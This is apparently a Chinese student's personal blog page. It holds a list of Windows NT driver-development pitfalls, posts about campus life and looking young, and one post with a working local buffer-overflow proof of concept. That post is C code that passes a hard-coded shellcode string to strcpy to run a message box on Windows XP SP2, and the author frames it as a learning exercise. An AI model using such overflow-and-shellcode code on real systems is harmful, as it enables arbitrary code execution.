政님의 프로필POP硝酸钾的堆栈블로그리스트온라인 인맥 도구 도움말

计数器

您是这里的第你也想要的话就点一下吧.位访客

点击这里给我发消息 

POP硝酸钾的堆栈

-----------------------------------------------------------------
1월 31일

开发人员在使用 Windows NT 设备驱动程序时应当避免的事项列表


  1. 一定不要在没有标注 I/O 请求数据包 (IRP) 挂起 (IoMarkIrpPending) 的情况下通过调度例程返回 STATUS_PENDING。 <--- 我倒在这条面前已经N次了..
  2. 一定不要通过中断服务例程 (ISR) 调用 KeSynchronizeExecution。 它会使系统死锁。
  3. 一定不要将 DeviceObject->Flags 设置为 DO_BUFFERED_IO 和 DO_DIRECT_IO。 它会扰乱系统并最终导致致命错误。 而且,一定不要在 DeviceObject->Flags 中设置 METHOD_BUFFERED、METHOD_NEITHER、METHOD_IN_DIRECT 或 METHOD_OUT_DIRECT,因为这些值只在定义 IOCTL 时使用。
  4. 一定不要通过页面缓冲池分配调度程序对象。 如果这样做,将会偶尔导致系统故障检测 (Bugcheck)。
  5. 当运行于 IRQL >= DISPATCH_LEVEL 时,一定不要通过页面缓冲池分配内存,或访问页面缓冲池中的内存。 这是一个致命错误。
  6. 一定不要在 IRQL >= DISPATCH_LEVEL 上等候核心调度程序对象出现非零间隔。 这是一个致命错误。
  7. 在 IRQL >= DISPATCH_LEVEL 上执行时,一定不要调用任何导致调用线程发生直接或间接等待的函数。 这是一个致命错误。
  8. 一定不要把中断请求级别 (IRQL) 降低到低于您的顶级例程被调用的级别。
  9. 如果没有调用过 KeRaiseIrql(),则一定不要调用 KeLowerIrql()。
  10. 一定不要使处理器 (KeStallExecutionProcessor) 停止运转的时间超过 50 微秒。
  11. 一定不要使旋转锁 (Spin Lock) 保持锁定状态的时间超过您的需要。 要使系统获得更好的总体性能,请不要使任何系统范围内有效的旋转锁的锁定时间超过 25 微秒。
  12. 当 IRQL 大于 DISPATCH_LEVEL 时,一定不要调用 KeAcquireSpinLock 和 KeReleaseSpinLock,或 KeAcquireSpinLockAtDpcLevel 和 KeReleaseSpinLockFromDpcLevel。
  13. 一定不要通过调用 KeReleaseSpinLockFromDpcLevel 来释放 KeAcquireSpinLock 所获取的旋转锁,因为这会使原始 IRQL 无法被还原。
  14. 一定不要在 ISR 或 SynchCritSection 例程中调用 KeAcquireSpinLock 和 KeReleaseSpinLock 或者其它任何使用可执行旋转锁的例程。
  15. 当您在例程中而不是在 DriverEntry 中创建设备对象时,一定不要忘记清除 DO_DEVICE_INITIALIZING 标记。
  16. 一定不要同时在不同处理器的多个线程中将延时过程调用 (DPC) 对象添加到队列中(使用 KeInsertQueueDpc)。 这会导致致命错误。
  17. 一定不要通过 CutomerTimerDPC 例程释放周期定时器。 您可以通过 DPC 例程释放非周期定时器。
  18. 一定不要将相同的 DPC 指针传递给 KeSetTimer,或者 KeSetTimerEx (CustomTimerDpc) 和 KeInsertQueueDpc (CustomDpc),因为这将导致竞争。
  19. 旋转锁锁定时,一定不要调用 IoStartNextPacket。 这将使系统死锁。
  20. 旋转锁锁定时,一定不要调用 IoCompleteRequest。 这将使系统死锁。
  21. 如果您的驱动程序设置了完成例程,那么一定不要在没有把完成例程设置为 NULL 的情况下调用 IoCompleteRequest。
  22. 调用 IoCompleteRequest 之前,一定不要忘记设置 IRP 中的 I/O 状态区。
  23. 在将 IRP 添加到队列中或将它发送到另一个驱动程序 (IoCallDriver) 之后,一定不要调用 IoMarkPending。 在驱动程序调用 IoMarkPending 之前,IRP 可能已经完成,由此可能发生故障检测。 对于包含完成例程的驱动程序,如果设置了 Irp->PendingReturned,则完成例程必须调用 IoMarkPending。
  24. 一定不要在已经对某个 IRP 调用 IoCompleteRequest 之后再去访问该 IRP。
  25. 一定不要对不属于您的驱动程序的 IRP 调用 IoCancelIrp,除非您知道该 IRP 还没有完成。
  26. 在您的调度例程返回到调用者之前,一定不要对您的调度例程正在处理的 IRP 调用 IoCancelIrp。
  27. 一定不要从中间驱动程序调用 IoMakeAssociatedIrp 来为较低的驱动程序创建 IRP。 在中间驱动程序中所获得的 IRP 可能是已被关联的 IRP,而您不能将其它 IRP 关联到已经被关联的 IRP。
  28. 一定不要对使用缓冲 I/O 而设置的 IRP 调用 IoMakeAssociatedIrp。
  29. 一定不要简单地将指向设备 I/O 寄存器的虚拟指针解除引用并访问这些指针。 始终使用正确的硬件抽象层 (HAL) 函数来访问设备。
  30. 如果 IRP 或设备对象可能在 DISPATCH 级别被修改,那么一定不要通过 ISR 来访问 它。 在对称多处理器系统中,这会造成数据损坏。
  31. 正在高级 IRQL 中运行时,如果数据可能被低级 IROL 代码写入,那么一定不要修改该数据。 应当使用 KeSynchronizeExecution 例程。
  32. 在获取系统范围的取消旋转锁 (IoAcquireCancelSpinLock) 之前,一定不要在您的 DispatchCleanup 例程中获取驱动程序自己的旋转锁(如果有的话)。 要避免可能出现的死锁,一定要在驱动程序中遵循一致的锁定获取层次结构。
  33. 一定不要在取消例程中调用 IoAcquireCancelSpinLock,因为该例程被调用时已经获取了系统级的取消旋转锁。
  34. 在从取消例程返回之前,一定不要忘记调用 IoReleaseCancelSpinLock。
  35. 一定不要使用基于 IRQL 的同步,因为它只对单处理器系统有效。 提高单处理器上的 IRQL 将不会掩蔽在其它处理器上的中断。
  36. 一定不要对重叠的内存地址范围使用 RtlCopyMemory。 应当使用 RtlMoveMemory。
  37. 一定不要假定页面大小是常量,即使是用于给定的 CPU。 为了保持可移植性,应当使用 PAGE_SIZE 以及在头文件中所定义的其它页面相关常量。
  38. 一定不要从引导\系统初始化阶段加载的驱动程序的 DriverEntry 例程中访问除 Registry\Machine\Hardware 和 Registry\Machine\System 以外的任何注册表项。
  39. 一定不要为了加载驱动程序而在驱动程序的注册表项 (Registry\Machine\System\CurrentControlSet\Services) 下创建 Enum 项。 系统将动态地创建该项。
  40. 如果没有先在注册表中申请必需的与总线相关的 I/O 端口、内存范围、中断或直接内存访问 (DMA) 通道/端口等硬件资源,一定不要初始化物理设备。
  41. 一定不要在您的 DriverEntry 例程调用 IoRegisterDriverReinitialization,除非重初始化例程返回了 STATUS_SUCCESS。
  42. IRQL 为 PASSIVE_LEVEL 时,一定不要从被页面调度的线程或驱动程序例程中在 Wait 参数被设置为 TRUE 的情况下调用 KeSetEvent。 如果碰巧在调用 KeSetEvent 和 KeWait..Object(s) 之间您的例程被页面调度出去,这类调用就会导致致命的页面错误。
  43. 与上例相同的条件下,同样不能调用 KeReleaseSemaphore 。
  44. 与上例相同的条件下,同样不能调用 KeReleaseMutex 。
  45. 一定不要通过零售的 Windows NT 驱动程序调用 KeBugCheckEx 或 KeBugCheck 来停止系统的运行,除非您遇到的是破坏系统内存并最终导致系统进入故障检测的重要错误。 应当始终巧妙地处理错误条件。
  46. 一定不要假定 IoTimer 例程将会准确地在一秒边界处被调用,因为任何特定 IoTimer 例程的调用间隔最终取决于系统时钟。
  47. 一定不要从核心模式的设备驱动程序调用 Win32 应用程序编程接口 (API)。
  48. 一定不要使用会导致堆栈溢出的递归函数,因为调用线程的核心模式堆栈不能动态增长。
  49. 在处理多个中断的 ISR 例程中,一定不要使用中断对象指针 (PKINTERRUPT) 来标识中断,因为您在 ISR 中所获得的中断对象地址不会始终与您通过 IoConnectInterrupt 所获得的地址相同。 要想识别当前发生中断的设备,应当仅使用您在 IoConnectInterrupt 中所指定的 ServiceContext 值。
  50. 如果没有清零 CustomTimerDpc (KeCancelTimer),一定不要卸载驱动程序。 如果在卸载驱动程序后启动 DPC,它可能调用不存在的代码,并导致系统进入故障检测查。
  51. 如果 IRP 中设置了某个驱动程序的 I/O CompletionRoutine,那么一定要等到所有这些 IRP 完成之后,才能卸载该驱动程序。 如果卸载驱动程序后,IRP 被更低级的驱动程序完成,那么系统会试图执行不存在的代码,并导致系统崩溃。
  52. 一定要等到驱动程序准备好要处理某个设备中断时,才能启用该设备中断。 应当只在完成驱动程序初始化之后才启用它,执行 ISR 和 DPC 时,系统才能安全的访问设备对象的若干私有成员。
  53. 在旋转锁锁定时,一定不要调用驱动程序以外的代码,因为这会引起死锁。
  54. 如果您的驱动程序通过 IoBuildAsynchronousFsdRequest/IoAllocateIrp 创建了一个 IRP,那么,一定不要从您的 I/O CompletionRoutine 为这个 IRP 返回 STATUS_MORE_PROCESSING_REQUIRED 以外的任何状态,因为该 IRP 没有为与完成有关的 I/O 管理器的处理后工作做好准备。 这样的 IRP 应当被驱动程序显式地释放 (IoFreeIrp)。 如果本来没有打算重用 IRP,可以在返回状态 STATUS_MORE_PROCESSING_REQUIRED 之前,在 CompletionRoutine 中将它释放。
  55. 一定不要在任意的线程上下文中使用 IoBuildSynchronousFsdRequest/IoBuildDeviceIoControlRequest 来分配 IRP,因为该 IRP 依然与该线程保持关联 (Irp->ThreadListEntry),直到它被释放。
  56. 如果已经使用 IoAllocateIrp 在 ChargeQuota 参数被设置为 TRUE 的情况下分配了某个 IRP,那么一定不要对该 IRP 调用 IoInitializeIrp。 如果在 ChargeQuota 设置为 TRUE 的情况下分配 IRP,则 I/O 管理器将把它为该 IRP 分配内存时所用的缓冲池的相关信息保存在该 IRP 的内部标记中。

    如果对这样的 IRP 调用 IoInitializeIrp,那么,当该函数盲目地清零整个 IRP 时,分配池信息将会丢失。 当您释放 IRP 时,这将导致内存被破坏。 同时,一定不要重用来自 IO 管理器的 IRP。 如果要重用 IRP,应当使用 IoAllocateIrp 分配您自己的 IRP。
  57. 如果在调用线程的堆栈中分配了对象,就一定不要在 KeWaitForSingleObject/KeWaitForMultipleObjects 中将 WaitMode 指定为 UserMode。 这样做的结果是,如果被等候的对象是在函数堆栈中创建的,那么您必须将 WaitMode 指定为 KernelMode 才能防止线程被页面调度出去。
  58. 在没有对关键节中的代码加以保护的情况下,一定不要在用户模式线程的上下文中获取诸如 ERESOURCES 和 FastMutex(Unsafe) 这类资源。

    因为获取这些资源不会使 IRQL 提高到 APC_LEVEL,所以,如果线程在已获取资源后被挂起(通过将 APC 加入队列实现),它可能导致死锁,并使系统安全性降低。 因此,应当通过显式地将 IRQL 提高到 APC_LEVEL,或者调用 KeEnterCriticalRegion 来进入关键段,然后可以获取这些资源。
2월 1일

简直废了...

     有天我不小心打开了自己的空间...  很惊讶的发现,怎么头像是校长大人的... 我心想是哪个家伙那么恶劣... 然后... 看到一些熟悉的文字... 哦~~原来想不到我这么无聊....
废啊~~~
3월 28일

我写的第一个程序本地溢出例子

#include <string.h>
#include <windows.h>

main()
{
char buffer[4];
strcpy(buffer,"abcd\x80\xff\x12\x01\xed\x1e\x96\x7c\xBB\x29\x34\x53\x01"
    "\x81\xEB\x11\x11\x11\x01\x53\x33\xC9\xB8\x9c\x5f\x91\x7C\xFF\xD0"
    "\x51\x53\x53\x51\x05\xFB\x15\x15\x01\x2D\x11\x11\x11\x01\xFF\xD0\xC3");
}
通过 strcpy 没有检查字符串长度的漏洞, 溢出执行实现弹出一个提示框的功能.   程序是根据网上资料的做法调试的.
比较有纪念意义~~  贴上来给大家分享
编译环境 vc++6.0 DEBUG
Windows Xp Pro
Build 2600.xpsp_sp2_gdr.061219-0316(Service Pack 2)
系统不同是没有希望得到预期效果的.
3월 24일

新学期正式开始了~~~~~~~

  按照规矩, 我们学校前三个星期是课程试听时段, 上课老师不会点名.当然同时的,老师也不会讲什么书上的东西.所以在此整理了下这三个星期各科老师所讲授的东西:
     首先是英语: 结束salesman的时候是看同学做的DV...  开始讲CLONE的时候 看的是<<逃出克隆岛>>
     接着数字电路: 讲他的就业经历 讲我们在硬件方面的欠缺... 然后才是用了3节课的时间讲了书上3个小节,其间还请假一节课出去搞什么项目.....
    操作系统: 爱尔兰之旅.......
    汇编程序设计: 这个老师比较不会吹牛,所以是讲的书上相当于绪论的 2进制加法......  数制转换......(好像高三都学过点吧)
    数字通讯:   究竟这门课叫什么都不知道 因为老师讲用的一本书  发给我们的是另外一本书........上课就给我们看画得很次的图片.
    也就这样~~ 在松散的节奏下 新的学期开始了... 
    也不知道是怎么的, 突然想再摸摸我的钢琴...   我已经很久没有弹过了... 也许只是想弥补下内心的空虚.   松散的学习节奏+憧憬给自己的压力+大条神经的自我调整+.....   真的不好说我现在在想什么........ 
    Holy Sh!t~~~~~~~~
 
2월 25일

写点最近感想.---关于"装"

       我到现在才发现,我好好喜欢王心凌哦~~  呵呵,有人说她装嫩. 其实并不是装,真的有像这样的女生存在. 在我们生活中经常会遇到像她这样的女性. 嘿嘿,甜蜜的声音,迷人的微笑,像小孩般纤瘦的身材... 想到了谁?  我们的物理老师------杨丽娟!@#@! 被称为杨过的她真的是太好了. 考试统统让过不说,听她的课甚至很有吃哈根达斯的感觉.有人说他装,但她从来到川大,学长学姐们就给她了"迷人"的称号. 甚至在广西师范,对她可考证好评依然存在.
      
       可能是由于我的自尊被老是称为"小弟弟"而受到了打击, 现在我找到了 更能显小的女明星~~所以有和她在同一战线的感觉. 以前我在自己情感方面总是不够勇敢和乐观. 由于自己压抑自己,就连自己喜欢什么类型的女生,自己都不知道. 现在有所感受:既然自己看起小, 那就得找个比自己看起更小的.   很有点破罐子破摔的意思...  呵呵~~  随便发点扁言哈~~   不过还是推荐大家听听Cyndi的歌哦... 可以预防和延缓心理老化...呵呵.
     
       以前我"装"着对XX的喜欢,回头看来完全没有必要.而且自己也很累.当时为何不大声倾吐自己的心声呢? 遗憾ING....
 
       深度是装不出来的,同理, 心理年龄也是装不出来的. 所以, 该是啥样就啥样, 不要去"装",不仅被人说成装,而且自己也装得痛苦...
12월 2일

我的感情生活--------牢骚+无奈

    要晓得,本人从初中开始就是语文老师们的重点栽培对象.....嘿嘿.....
所以呢~~  要读懂我写的东西 必须要研究透鲁迅的"通假"和毕加索的"abstract"~~~~
 
    牢骚开始:
             事情发生在上个星期......
         那是一个阳光明媚的早晨, 我走进了著名的苏宁电器~~~ ~~~  买东西.(有点屁话~~ 肯定是去买东西的...难道是抢)
我是想去买个电子词典为 伟大的CET-6作准备的.  选了半天 我一直拿不定买哪个~~~   谁知道那个热情的推销员妹妹(估计和我差不多大~~我们都是奔3的人啊~~) 以大姐姐的口气给我说:"弟娃儿~~~这个很有用的,上大学了都对你有帮助......"~~~~~~~~~残念......
             时间之轮倒转两个星期......
          还是一个阳光明媚的下午,我走进了不怎么著名的理发店~~~~~ 剪头(还是屁话~~~未必是~~~~ )
师父叫我先去洗头, 我去了~~~ 那个洗头的妹妹(事后聊天知道 她比我小5天.)说:"弟娃儿~~~  初三了吧~~?"  我很镇定的告诉她:"我才初1~~~~" 然后她很惊讶的说~ "那你肯定篮球打得很好哦~~ 那么高~~~~!!!!"
            接着就是这个星期......
            我把部门申请赞助的表交到办公室的时候~~~  一个值班的"姐姐"热情的说:"谢谢你对我们工作的支持~"  我说哪里的话~都是学生会的嘛~~~(客套~~) 她问我什么部门的~~ 我给她说了以后,问我:"你们部长是不是 J某 W某 还有左某哇~~?"   我吐血~~~
后来她解释说,她确实把我当大一的干事了..........
             终于我觉得有点无法忍受了~~~ 在这个星期抓狂了~~~
帮家里配参谋配电脑~~~ 当然肯定要拉上ATM老爹~~  在等待装机的过程中  我"老练"地(自认为是这个样子的)问了下几个笔记本电脑的价格~~~   谁知道~~我得到的又是这句话------------------"这款不错的~~ 上大学了很有用的~~~~"
           综上~~~~~~~~~ 我好像找到了我为什么在感情方面比较失败的原因~~~ 女生再比我小的 都把我当弟弟(要是当哥哥 情况就截然不同了) 我就搞不懂~~ 什么叫人不可以貌相~~~~ 
            哎~~ 说白了 就是我看起没有安全感(i'm half in danger,the other half is danger...)~~~  我这个当年打遍天下无敌手de 幼儿园"园霸" ~也没落至此了~~
            写完了....... 我随手又拿起了我的棒棒糖~~~~~
 
11월 15일

吃同学~~还是吃师傅?

现在我们学校被教育部派来的专家组评估,所以什么事情都是做得很小心, 什么事情都做得很面子化~~~
   某日我到食堂去打饭. 来到以往的荤菜窗口......
   "吃点什么同学?"食堂的大哥抄起了标准的川普~.
   "这个是什么?"我没有戴眼镜,加上红色的烧菜汤,只有WERE和大黄(鼻子好)才知道里面烧的什么.
   "排骨同学.", 我又指了下另外一个
   "肥肠同学.", "那这个喃"
   "鸭子同学."  我有点忍不住了~~~
   "我要 猪蹄师傅~~"  我也装怪了.
   只听到这个帅哥对里面另外一人叫道:"烧猪蹄老张~~~"
当时我就无语了.....
 
------------------------------无奈的分割线---------------------------------------------
为了提高本空间人气和影响力  鄙人决定 Q-ZONE和MSN两个空间日志同步发表....... 无奈啊~~
 
리스트

左 政

직업
지역
관심 분야
热情,开朗,爱祖国,爱人民
善于装怪,搞破坏,落井下石,过河拆桥,发瓜